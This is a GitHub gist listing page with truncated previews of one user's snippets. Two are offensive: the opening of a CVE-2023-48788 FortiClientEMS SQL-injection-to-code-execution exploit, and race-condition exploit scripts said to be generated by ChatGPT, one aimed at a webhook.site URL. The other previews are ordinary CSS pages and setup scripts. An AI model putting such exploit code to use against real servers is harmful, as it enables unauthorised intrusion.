Skip to content

Instantly share code, notes, and snippets.

View vncloudsco's full-sized avatar
🏠
Working from home

Mạnh Tường Solo vncloudsco

🏠
Working from home
View GitHub Profile
@vncloudsco
vncloudsco / CVE-2023-48788.Py
Last active March 22, 2024 04:09
CVE-2023-48788 is a SQLi vulnerability which leads to unauthenticated remote code executing in fortinet's FortiClientEMS.
import argparse
import socket
import ssl
REGISTER = (
"MSG_HEADER: FCTUID=CBE8FC122B1A46D18C3541E1A8EFF7BD{}\n"
+ "IP=127.0.0.1\n"
+ "MAC=00-50-56-11-22-33\n"
+ "FCT_ONNET=0\n"
+ "CAPS=32767\n"
#!/usr/bin/env bash
# set color
export CLICOLOR=1
export LSCOLORS=GxFxCxDxBxegedabagaced
COL_NC='\033[0m' # No Color
COL_LIGHT_YELLOW='\033[1;33m'
INFO="[${COL_LIGHT_YELLOW}~${COL_NC}]"
OVER="\\r\\033[K"

Another 403 Forbidden pen

After a lot of procrastination, I've finally created a pen for the challenge, would love to hear any way it could be improved(or how bad it looks)

A Pen by Faaiz on CodePen.

License.

@vncloudsco
vncloudsco / forbidden-city-403-codepenchallenge.markdown
Created May 20, 2023 16:06
🐲 Forbidden City 403 CodePenChallenge

🐲 Forbidden City 403 CodePenChallenge

Only an emperor can enter this 403 Forbidden page. I made this almost entirely in pure CSS except for one SVG element. I can't handle those curves. :P

A Pen by Arturo Wibawa on CodePen.

License.

@vncloudsco
vncloudsco / forbidden-city-403-codepenchallenge.markdown
Created May 20, 2023 16:02
🐲 Forbidden City 403 CodePenChallenge

🐲 Forbidden City 403 CodePenChallenge

Only an emperor can enter this 403 Forbidden page. I made this almost entirely in pure CSS except for one SVG element. I can't handle those curves. :P

A Pen by Arturo Wibawa on CodePen.

License.

@vncloudsco
vncloudsco / forbidden-city-403-codepenchallenge.markdown
Created May 20, 2023 15:57
🐲 Forbidden City 403 CodePenChallenge

🐲 Forbidden City 403 CodePenChallenge

Only an emperor can enter this 403 Forbidden page. I made this almost entirely in pure CSS except for one SVG element. I can't handle those curves. :P

A Pen by Arturo Wibawa on CodePen.

License.

function wp_optimize_unused_tables() {
global $wpdb;
// Danh sách các bảng được cài đặt mặc định
$default_tables = array(
'wp_users',
'wp_usermeta',
'wp_posts',
'wp_comments',
'wp_links',
@vncloudsco
vncloudsco / race_condition.php
Created December 22, 2022 14:02
race condition exploit gen code by ChatGPT
<?php
// Load the pthreads extension
if (!extension_loaded('pthreads')) {
dl('pthreads.so');
}
// Define the target URL, the data to send, and the cookies
$url = 'https://example.com/api/endpoint';
$data = ['key' => 'value'];
@vncloudsco
vncloudsco / race_condition.py
Created December 22, 2022 13:49
race condition exploit gen code by ChatGPT
import threading
import requests
# Define the target URL, the data to send, and the cookies
url = 'https://webhook.site/1653bca3-946a-420d-aee8-05af89a2bc69'
data = {'key': 'xxxxxxx'}
cookies = {'cookie1': 'value1', 'cookie2': 'value2'}
headers = {'Authorization': 'Bearer YOUR_TOKEN_HERE'}
# Define a function to send the data using a thread
#!/bin/bash
# cap nhap he dieu hanh len moi nhat
apt-get -y update || yum -y update
apt-get -y upgrade || yum -y upgrade
# cai dat docker
curl -fsSL https://get.docker.com -o get-docker.sh
sh get-docker.sh